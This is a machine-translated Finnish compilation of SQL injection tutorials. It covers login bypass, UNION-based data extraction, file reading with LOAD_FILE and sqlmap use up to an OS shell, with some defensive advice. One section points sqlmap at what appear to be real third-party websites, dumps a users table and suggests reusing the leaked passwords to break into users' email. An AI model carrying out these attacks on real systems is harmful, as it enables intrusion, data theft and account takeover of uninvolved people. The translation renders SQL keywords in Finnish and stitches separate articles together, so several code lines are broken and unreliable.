SQL-injektio on hyökkäys, joka hyödyntää dynaamisia SQL-lauseita kommentoimalla tiettyjä lauseiden osia tai lisäämällä ehdon, joka on aina tosi. Se kohdistuu verkkosovellusarkkitehtuurin aukkoihin ja käyttää SQL-lauseita haitallisen SQL-koodin suorittamiseen:
Tässä artikkelissa tarkastellaan SQL-injektioissa käytettyjä tekniikoita ja verkkosovellusten suojaamista tällaisilta hyökkäyksiltä.
Hyökkäysten tyypit, jotka voidaan suorittaa käyttämällä SQL-injektiota, vaihtelevat sen mukaan, minkä tyyppistä tietokantakonetta tämä vaikuttaa. Hyökkäys kohdistuu dynaamisiin SQL-lauseisiin. Dynaaminen lauseke on lause, joka luodaan ajon aikana verkkolomakkeen tai URI-kyselymerkkijonon parametrien perusteella.
Harkitse yksinkertaista verkkosovellusta kirjautumislomakkeella. HTML-lomakekoodi on alla:
Oletetaan, että palvelinpuolen käyttäjätunnuksen tarkistuspyyntö näyttää tältä:
Tarkastelemme hyökkäystä käyttämällä SQL-injektiota sqlfiddle. Avaa URL-osoite http://sqlfiddle.com/ selaimessasi. Näyttöön tulee seuraava ikkuna.
Huomautus: Sinun on kirjoitettava SQL-käskyt:
Vaihe 1: Kirjoita tämä koodi vasemmanpuoleiseen paneeliin:
LUO TAULUKON `käyttäjät` (`id` INT NOT NULL AUTO_INCREMENT, `sähköposti` VARCHAR(45) NULL, `salasana` VARCHAR(45) NULL, PRIMARY KEY (`id`)); lisää käyttäjiin (sähköposti, salasana) arvot (" [sähköposti suojattu]",md5("abc"));
Vaihe 2: Napsauta painiketta Rakenna kaavio».
Vaihe 3: Kirjoita alla oleva koodi oikeanpuoleiseen ruutuun:
valitse * käyttäjistä;
Vaihe 4: Napsauta " Suorita SQL" Näet seuraavan tuloksen:
Oletetaan, että käyttäjä antaa sähköpostiosoitteen [sähköposti suojattu] ja 1234 salasanana. Tietokannassa suoritettava kysely saattaa näyttää tältä:
Yllä oleva esimerkki SQL-injektiokoodi voidaan ohittaa kommentoimalla osa salasanasta ja lisäämällä ehto, joka on aina tosi. Oletetaan, että hyökkääjä lisää seuraavat tiedot sähköpostiosoitekenttään:
[sähköposti suojattu]" TAI 1 = 1 RAJA 1 -- " ]
ja xxx salasanakentässä.
Luotu dynaaminen lause näyttää tältä:
0; AND ... on SQL-kommentti, joka sulkee pois salasanaosan.
Kopioi yllä oleva kysely ja liitä se FiddleRun SQL -tekstiruutuun alla olevan kuvan mukaisesti:
Meillä on yksinkertainen verkkosovellus, joka on saatavilla osoitteessa http://www.techpanda.org/, joka on erityisesti tehty haavoittuvaiseksi aloittelijoille esittelytarkoituksessa SQL-injektiohyökkäyksille. Yllä annettu HTML-lomakekoodi on otettu tämän sovelluksen valtuutussivulta.
Se tarjoaa perusturvallisuuden, kuten sähköpostikentän desinfioinnin. Tämä tarkoittaa, että yllä olevaa koodia ei voida käyttää tämän mekanismin ohittamiseen.
Voit ohittaa tämän käyttämällä salasanakenttää. Alla oleva kaavio näyttää vaiheet, jotka sinun on noudatettava:
Oletetaan, että hyökkääjä toimittaa seuraavat tiedot:
Vaihe 1: Syötä [sähköposti suojattu] sähköpostiosoitteena;
Vaihe 2: Kirjoita xxx’) TAI 1 = 1 - ] ;
Napsauta "Lähetä" -painiketta.
Se lähetetään hallintopaneeliin. Luotu kysely näyttää tältä:
Alla oleva kaavio näyttää, kuinka pyyntö luotiin:
Tässä:
Yleensä hyökkääjät yrittävät käyttää useita eri menetelmiä SQL-injektiohyökkäyksessä saavuttaakseen tavoitteensa.
SQL-injektiot voivat aiheuttaa paljon enemmän vahinkoa kuin kirjautuminen järjestelmään ohittamalla valtuutusmekanismin. Jotkut näistä hyökkäyksistä voivat:
Yllä oleva luettelo ei ole täydellinen. Se antaa vain käsityksen SQL-injektioiden aiheuttamista vaaroista.
Yllä olevassa esimerkissä käytimme manuaalisia hyökkäysmenetelmiä. Ennen kuin suoritat SQL-injektion, sinun on ymmärrettävä, että on olemassa automaattisia työkaluja, joiden avulla voit suorittaa hyökkäyksiä tehokkaammin ja nopeammin:
Tässä on muutamia yksinkertaisia sääntöjä suojautuaksesi SQL-injektiohyökkäyksiltä:
Käyttäjän syötteeseen ei pidä luottaa. Se on aina puhdistettava ennen kuin tietoja käytetään dynaamisissa SQL-operaatioissa.
Tallennetut menettelyt- He voivat kapseloida SQL-kyselyitä ja käsitellä kaikki syötetiedot parametreina.
Valmiit kyselyt- Kyselyt luodaan ensin, ja sitten kaikki toimitetut käyttäjätiedot käsitellään parametreina. Tämä ei vaikuta SQL-lauseen syntaksiin.
Säännölliset lausekkeet- voidaan käyttää havaitsemaan mahdollisesti haitallinen koodi ja poistamaan se ennen SQL-käskyjen suorittamista.
Käyttöoikeudet muodostaa yhteys tietokantaan- kohtaan suojaa SQL-injektioita vastaan, tileille, joita käytetään yhteyden muodostamiseen tietokantaan, tulee myöntää vain tarvittavat käyttöoikeudet. Tämä auttaa rajoittamaan toimintoja, joita SQL-käskyt voivat suorittaa palvelimella.
Virheilmoitukset- ei saa paljastaa luottamuksellisia tietoja. Yksinkertaiset mukautetut virheilmoitukset, kuten " Pahoittelut, tapahtui tekninen virhe. Tukitiimille on jo ilmoitettu asiasta. Yritä uudelleen myöhemmin" voidaan käyttää virheen aiheuttaneiden SQL-kyselyiden näyttämisen sijaan.
Ohjelman avulla voit tarkistaa sivustoilta SQL-injektion haavoittuvuuksia, XSS-haavoittuvuuksia ja myös hyödyntää SQL-injektiota. Eri tyyppisiä SQL-injektioita ja erilaisia tietokantoja tuetaan.
sqlmapin avulla voit:
Jos sivusto on alttiina SQL-injektiolle, se on mahdollista:
Yksi skenaarioista sqlmapin käyttöön:
Jos haavoittuvuus on olemassa, hyökkäys voi kehittyä eri suuntiin:
Kuten näemme, SQL-injektio on erittäin vaarallinen haavoittuvuus, joka antaa hyökkääjälle suuria mahdollisuuksia.
Jos sivusto vastaanottaa tietoja käyttäjältä GET-menetelmällä (kun sekä muuttujan nimi että lähetetyt tiedot näkyvät selaimen osoitepalkissa), sinun on valittava sen sivun osoite, jolla tämä muuttuja on esittää. Se tulee kysymysmerkin jälkeen ( ? ), Esimerkiksi:
Ensimmäisessä osoitteessa muuttujan nimi on id, ja hyväksytty arvo on 8 . Toisessa osoitteessa on myös muuttujan nimi id, ja lähetetty arvo 22 . Kolmannessa esimerkissä muuttujan nimi on sama, mutta välitettävä arvo on p_36. Sama muuttujan nimi on satunnainen vastaavuus eri sivustoille, se voi olla mikä tahansa, lähetettävä data voi olla mitä tahansa, voi olla useita muuttujia, joiden arvot erotetaan symbolilla & .
Jos haluamme tarkistaa, onko id-muuttuja alttiina SQL-injektiolle, meidän on syötettävä koko osoite - http://www.dwib.org/faq2.php?id=8 (ei http://www.dwib .org /faq2.php tai http://www.dwib.org).
Komento tarkistaa GET-menetelmän välittämä muuttuja on hyvin yksinkertainen:
Sqlmap -u sivuston_osoite
Näille sivustoille komennot ovat:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 sqlmap -u http://www.wellerpools.com/news-read.php?id=22 sqlmap -u http://newsandviews24 .com/read.php?id=p_36
Varmennusprosessin aikana sqlmap saattaa esittää erilaisia kysymyksiä, joihin sinun on vastattava y(eli kyllä) tai n(eli ei). Kirjain y ja n voivat olla isoja tai pieniä. Iso kirjain tarkoittaa oletusvalintaa. Jos hyväksyt sen, paina Enter.
Esimerkkejä tilanteista ja kysymyksistä:
Heuristiikka havaitsi, että kohde on suojattu jonkinlaisella WAF/IPS/IDS:llä. Haluatko, että sqlmap yrittää tunnistaa WAF/IPS/IDS-taustajärjestelmän?
Heuristiikka määritti, että kohde on suojattu jonkinlaisella WAF/IPS/IDS:llä. Haluatko, että sqlmap yrittää määrittää WAF/IPS/IDS:n nimen?
Suosikkipyyntöni:
Heuristinen (perus)testi osoittaa, että GET-parametri "id" saattaa olla injektoitava (mahdollinen DBMS: "MySQL"). Testaus SQL-injektiolle GET-parametrille "id" näyttää siltä, että tausta-DBMS on "MySQL". Haluatko ohittaa muiden DBMS-järjestelmien testihyötykuormat?
Asia on siinä, että heuristiikka on todennut, että parametri saattaa olla haavoittuvainen ja etä-DBMS on jo tunnistettu, meiltä kysytään, haluammeko jatkaa tarkistusta. Ja toisessa kuvakaappauksessa sivusto on myös haavoittuvainen XSS:lle.
Jos haluat automatisoida prosessin niin, että sqlmap ei kysy sinulta joka kerta, vaan käyttää oletusvalintaa (aina on parempia vaihtoehtoja), voit suorittaa komennon vaihtoehdolla --erä:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --batch
Seuraavat virheet voivat näkyä:
Yhteys aikakatkaistiin kohde-URL-osoitteeseen. sqlmap yrittää pyyntöjä uudelleen, jos ongelma jatkuu, tarkista, että annettu kohde-URL on kelvollinen. Jos näin on, voit yrittää käynnistää uudelleen kytkimen "--random-agent" ollessa päällä ja/tai välityspalvelinkytkimillä ("--ignore-proxy", "--proxy",...)
Se tarkoittaa, että sivusto ei halua "puhua" sqlmapin kanssa. Vaihtoehtona meille tarjotaan käyttöä -- satunnainen agentti. Jos voit katsella sivustoa selaimessa, mutta sqlmap kirjoittaa yhteyden mahdottomuudesta, sivusto jättää huomioimatta pyynnöt ja keskittyy käyttäjäagenttiin. Vaihtoehto --random-agent muuttaa standardin sqlmap-arvon satunnaiseksi:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent
Toinen syy tähän virheeseen voi olla se, että verkkosivusto on estänyt IP-osoitteesi - silloin sinun on käytettävä välityspalvelinta. Jos käytät jo välityspalvelinta ja tämä virhe tulee näkyviin, se voi tarkoittaa, että välityspalvelimella on viestintäongelmia ja sinun tulee yrittää ilman sitä.
Havaitut SQL-injektiot näytetään seuraavasti:
Nuo. on korostettu lihavoidulla vihreällä värillä, haavoittuvan parametrin nimi on kirjoitettu, SQL-haavoittuvuuden tyyppi ja siinä on sana ruiskeena.
Käytä vaihtoehtoa saadaksesi luettelon tietokannoista --dbs. Esimerkkejä:
Sqlmap -u http://www.dwib.org/faq2.php?id=8 --dbs sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent --dbs sqlmap -u http://newsandviews24.com/read.php?id=p_36 --dbs
Esimerkiksi sivustolle wellerpools.com löydettiin kaksi tietokantaa:
[*] information_schema [*] main_wellerpools
Haluan tietää main_wellerpools-tietokannan taulukoiden luettelon. Voit tehdä tämän käyttämällä vaihtoehtoa --pöydät. Sen lisäksi meidän on ilmoitettava taulukon jälkeen, josta olemme kiinnostuneita -D:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools --tables
Luettelo taulukoista:
Jostain syystä haluan tietää sarakkeiden luettelon käyttäjätaulukosta. Voit tehdä tämän käyttämällä vaihtoehtoa -- sarakkeet. Sen lisäksi meidän on ilmoitettava tietokanta, josta olemme kiinnostuneita ( -D main_wellerpools) ja avaimen jälkeen -T taulukko, jonka sarakeluettelon haluamme nähdä:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T-käyttäjät --columns
Näytä sisältö käyttämällä vaihtoehtoa -- kaatopaikka. Se voidaan määrittää yhdessä tietokannan kanssa, jolloin koko tietokannasta tehdään vedos tai voit rajata tiedot yhteen taulukkoon tai jopa yhteen sarakkeeseen. Seuraavalla komennolla haluan nähdä koko käyttäjätaulukon sisällön:
Sqlmap -u http://www.wellerpools.com/news-read.php?id=22 --random-agent -D main_wellerpools -T-käyttäjät --dump
Katso salasanoja – nopean tarkistuksen jälkeen ajattelin, että ne olivat tiivisteitä. Järjestelmänvalvojat yrittivät todella puolustaa itseään, mutta se ei auttanut heitä.
Muuten, koska parametri, joka hyväksyy GET-menetelmällä lähetetyt tiedot, on haavoittuvainen, voit muodostaa pyynnön suoraan selaimen riville siten, että käyttäjän kirjautuminen ja salasana näkyvät suoraan sivustolla:
Nuo. Meillä on sivuston käyttäjien (ja todennäköisesti jopa ylläpitäjien) käyttäjätunnus, salasana ja sähköpostiosoite. Jos löydät sivuston hallintapaneelin, voit hallita sivustoa tai verkkopalvelinta. Ottaen huomioon käyttäjien rakkauden samoihin salasanoihin ja heidän postilaatikonsa tuntemisen, voit yrittää hakkeroida heidän sähköpostinsa.
Yleisesti ottaen SQL-injektio on erittäin vaarallinen haavoittuvuus.
Tervehdys lukija. Olen viime aikoina ollut kiinnostunut web-turvallisuudesta ja jossain määrin työni liittyy tähän. Koska Yhä useammin aloin huomata aiheita eri foorumeilla, joissa pyydettiin näyttämään, miten se kaikki toimii, joten päätin kirjoittaa artikkelin. Artikkeli on suunnattu niille, jotka eivät ole kohdanneet tätä, mutta haluavat oppia. Internetissä on suhteellisen paljon artikkeleita tästä aiheesta, mutta ne ovat hieman monimutkaisia aloittelijoille. Yritän kuvata kaiken selkeällä kielellä ja yksityiskohtaisilla esimerkeillä.
Uskon, että pelkkä artikkelin lukeminen ei riitä, koska... tarvitsemme eläviä esimerkkejä - kuten tiedätte, harjoittelu ulkoa muistamisen prosessissa ei ole koskaan tarpeetonta. Siksi kirjoitamme haavoittuvia skriptejä ja harjoittelemme niitä.
Isä kirjoitti kirjeeseen äidilleen, että hän antaisi Vasyalle 100 ruplaa ja laittoi sen pöydälle. Muokkaamalla tämän sarjakuvaksi SQL-kieleksi saamme:
OTA 100 RUPLAA LOPAKOSTASI JA ANNA ne Vasyalle
Koska isä kirjoitti muistiinpanon huonosti (kömpelö käsiala) ja jätti sen pöydälle, Vasyan veli Petja näki sen. Petya, joka oli hakkeri, lisäsi sinne "OR Pete" ja tuloksena oli seuraava pyyntö:
OTA 100 RUPAA LOPAKOSTASI JA ANNA ne Vasyalle TAI Petyalle
Äiti, luettuaan muistiinpanon, päätti, että hän antoi rahaa Vasyalle eilen ja antoi 100 ruplaa Petyalle. Tässä on yksinkertainen esimerkki SQL-injektiosta elämästä:) Suodattamatta tietoja (äiti tuskin ymmärsi käsialaa), Petya teki voittoa.
Kuten jo ymmärsit, injektio tulee saapuvista tiedoista, joita ei suodateta. Yleisin virhe on se, että lähetettyä tunnusta ei suodateta. No, karkeasti sanottuna, laita lainausmerkit kaikkiin kenttiin. Olipa kyseessä GET/POST-pyyntö tai jopa eväste!
Koska Pyynnössämme ei ole suodatusta:
$id = $_GET["id"]; $query = "SELECT * FROM news WHERE id=$id";
Käsikirjoitus ymmärtää tämän näin
SELECT * FROM news WHERE id=1"
Ja se antaa meille virheen:
Varoitus: mysql_fetch_array() odottaa parametrin 1 olevan resurssi, boolen arvo annetaan rivillä 16 rivillä C:\WebServ\domains\sqlinj\index1.php
Jos virhe ei tule näkyviin, syyt voivat olla seuraavat:
1.SQL-injektio ei ole täällä - lainausmerkit suodatetaan tai se kannattaa vain muuntaa (int)
2. Virhetulostus on poistettu käytöstä.
Jos saat edelleen virheilmoituksen - Hurraa! Löysimme ensimmäisen tyypin SQL-injektion - Numeerinen syöttöparametri.
Lähetämme pyynnöt osoitteeseen index2.php. Tässä tiedostossa pyyntö näyttää tältä:
$käyttäjä = $_GET["käyttäjä"]; $query = "SELECT * FROM news WHERE user="$user"";
Täällä valitsemme uutiset käyttäjätunnuksen mukaan, emmekä taaskaan suodata.
Lähetämme jälleen tarjouspyynnön:
Se antoi virheen. OK! Tämä tarkoittaa, että haavoittuvuus on olemassa. Ensinnäkin se riittää meille - lähdetään harjoittelemaan.
Et todennäköisesti malta odottaa, että saat tästä irti jotain muuta kuin virheitä. Ymmärrä ensin, että merkki " -- " katsotaan kommentiksi SQL:ssä.
HUOMIO! Ennen ja jälkeen tulee olla välilyöntejä. URL-osoitteessa ne lähetetään muodossa %20
Kaikki kommentin jälkeen tuleva pyyntö hylätään.
SELECT * FROM news WHERE user="AlexanderPHP" -- habrahabra
Se onnistuu. Voit kokeilla tätä index2.php-skriptillä lähettämällä seuraavanlaisen pyynnön:
Sqlinj/index2.php?user=AlexanderPHP"%20--%20habrahabr
Opi parametri LIITTO. SQL-kielellä avainsana LIITTO käytetään yhdistämään kahden SQL-kyselyn tulokset yhdeksi taulukoksi. Eli vetääksemme jotain mitä tarvitsemme toisesta pöydästä.
Jos parametri on "Numeric", meidän ei tarvitse lähettää tarjousta pyynnössä ja luonnollisesti laittaa kommentti loppuun. Palataan käsikirjoitukseen index1.php.
Siirrytään komentosarjaan sqlinj/index1.php?id=1 UNION SELECT 1 . Tietokantakyselymme näyttää tältä:
SELECT * FROM news WHERE id=1 UNIONIN VALITSE 1
Ja hän antoi meille virheen, koska... tarvitsemme saman määrän kenttiä työskennelläksemme yhdistävien kyselyiden kanssa.
Koska Emme voi vaikuttaa niiden lukumäärään ensimmäisessä pyynnössä, sitten meidän on valittava heidän numeronsa toisessa niin, että se on yhtä suuri kuin ensimmäinen.
Kenttien valinta on hyvin yksinkertaista, lähetä vain seuraavat pyynnöt:
sqlinj/index1.php?id=1 UNION SELECT 1,2
Virhe…
sqlinj/index1.php?id=1 UNION SELECT 1,2,3
Taas virhe!
sqlinj/index1.php?id=1 UNION SELECT 1,2,3,4,5
Ei virhettä! Tämä tarkoittaa, että sarakkeiden lukumäärä on 5.
Jos pyyntö
sqlinj/index1.php?id=1 GROUP BY 2
ei näyttänyt virheitä, mikä tarkoittaa, että kenttien määrä on enemmän kuin 2. Yritetään:
Sqlinj/index1.php?id=1 GROUP BY 8
Op, näemme virheen, se tarkoittaa, että kenttien määrä on alle 8.
Jos GROUP BY 4:ssä ei ole virhettä ja GROUP BY 6:ssa on virhe, kenttien määrä on 5
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5
Tällä toiminnolla määritimme, mitkä sarakkeet sivulla näytetään. Nyt, jos haluat korvata nämä numerot vaadituilla tiedoilla, sinun on jatkettava pyyntöä.
Oletetaan, että tiedämme, että taulukko on edelleen olemassa käyttäjiä jossa kentät ovat olemassa id, nimi Ja kulkea.
Meidän on saatava tietoja käyttäjästä, jolla on ID=1
Tehdään siis seuraava kysely:
Sqlinj/index1.php?id=-1 UNION SELECT 1,2,3,4,5 FROM käyttäjiltä WHERE id=1
Myös skriptin tulostaminen jatkuu
Tätä varten korvaamme kenttien nimet numeroiden 1 ja 3 tilalla
Sqlinj/index1.php?id=-1 UNION SELECT nimi,2,passi,4,5 käyttäjiltä WHERE id=1
Saimme mitä tarvitsimme!
"merkkijonon syöttöparametrille" kuten komentosarjassa index2.php Sinun on lisättävä lainausmerkki alkuun ja kommenttimerkki loppuun. Esimerkki:
sqlinj/index2.php?user=-1" UNION SELECT nimi,2,pass,4,5 FROM käyttäjiltä WHERE id=1 --%20
Sqlinj/index2.php?user=-1" UNION SELECT 1,LOAD_FILE("1.php"),3,4,5 --%20
Olemme siis lukeneet edellisen kirjoitetun tiedoston.
Itsesi suojaaminen on jopa helpompaa kuin haavoittuvuuden hyödyntäminen. Suodata vain tiedot. Jos annat numeroita, käytä
$id = (int) $_GET["id"];
Kuten käyttäjä malroc ehdotti. Suojaa itsesi käyttämällä suojattua alkuperänimitystä tai valmisteltuja lausuntoja.
SQL-injektio on eräänlainen hyökkäys, jossa hyökkääjä muuttaa verkkosovelluksen SQL-kyselylogiikkaa, jolloin hän voi lukea/muokata/poistaa arvoja tietokannasta ja joskus suorittaa mielivaltaista koodia palvelinpuolella. Tässä artikkelissa käsitellään suosittua sqlmap-apuohjelmaa SQL-injektioiden suorittamiseen.
Tällä hetkellä tämäntyyppinen haavoittuvuus on vaarallisin kaikista mahdollisista. 7 vuoden ajan OWASP TOP-10:n johtavaa linjaa on johtanut SQL-injektiot.
Tälle haavoittuvuudelle on viisi tärkeintä syytä:
Katsotaanpa SQLMap-apuohjelman käyttämiä SQL-injektiotyyppejä:
Käynnistä apuohjelma (täytyy olla muuttujassaPATH ):
$sqlmap
Tai apuohjelmahakemistosta:
$ python sqlmap.py
Avainta käytetään dokumentaation kutsumiseen «- h / — auta »:
$ sqlmap --help $ python sqlmap.py –help
SQLMap-avainten toiminta riippuu täysin siitä, mitä hyökkääjä tarkalleen haluaa saavuttaa. SQLMap-toimintojen perusluettelo näyttää tältä:
Käytännössä käytämme Kirottu Haavoittuvainen Web Sovellus (DVWA tai "Helvetin haavoittuva verkkosovellus").
DVWA – on ilmainen web-sovellus, joka on rakennettu PHP:n ja MySQL:n kaltaisille teknologioille ja joka on suunniteltu harjoittelemaan testaustaitoja.
Nyt olemme kiinnostuneita vain injektioista, mutta yleensä voit testata kykysi muissa haavoittuvuuksissa, jotka on luotu virallisen perusteella. OWASP TOP -10 .
P.S.: Tämä käytäntö edellyttää, että sinulla on Linuxin perusteiden tuntemus, englannin kielen alkutaso ja kyky käyttää Googlea (jos sinulla ei ole yllä olevia taitoja).
Asennus:
Alkutiedot:
Joten aloitetaan:
Komennon selitys:
— url – URL-osoite, jossa on oletettu haavoittuva parametri. On tärkeää huomata, että tämän avaimen muuttuja kirjoitetaan lainausmerkeissä, koska Tarkistettavassa URL-osoitteessa on useampi kuin yksi hyväksytty parametri. Muussa tapauksessa voit jättää lainausmerkit huomioimatta ja käyttää avaimen lyhyttä versiota “- u ” ilman yhtäläisyysmerkkiä .
- eväste – Istuntoeväste suoraa käyttöä varten hyökkäyksen aikana (valinnainen avain).
Johtopäätös:
Analyysi:
Komennon selitys:
—dbs – avain käytettävissä olevien tietokantojen luetteloimiseen.
Johtopäätös:
Analyysi: SQLMap listasi käytettävissä olevat tietokannat (yhteensä 7).
Komennon selitys:
-D – Määritä tietokanta, josta olemme kiinnostuneita.
--tables – Luettelo tietokannassa käytettävissä olevista taulukoista.
Johtopäätös:
Analyysi: Kuten näemme, SQLMap listasi onnistuneesti 2 taulukon nimet tietokannassa dvwa .
Komennon selitys:
-T – Ilmoita taulukko, josta olemme kiinnostuneita.
—sarakkeet – luettele taulukon käytettävissä olevat sarakkeet.
Johtopäätös:
Analyysi: Kuten näemme, SQLMap onnistui listaamaan taulukon kuuden sarakkeen nimet käyttäjiä, bd dvwa .
Komennon selitys:
C – Ilmoita meitä kiinnostavat sarakkeet.
--dump – Poista arvot luetelluista sarakkeista.
Johtopäätös:
Analyysi: SQLMapin vastauksen perusteella huomioimme seuraavat seikat:
Komennon selitys:
—data – Määritä testausparametrit, jotka lähetetään POST-pyynnössä.
—os —shell – Erikoisavain, jolla yritetään hyödyntää palvelinkonsolia SQL-injektion avulla.
Johtopäätös:
Analyysi: SQLMapin vastauksen perusteella huomioimme seuraavat seikat:
Syvemmän tason järjestelmän käyttöoikeuden saamisen edut: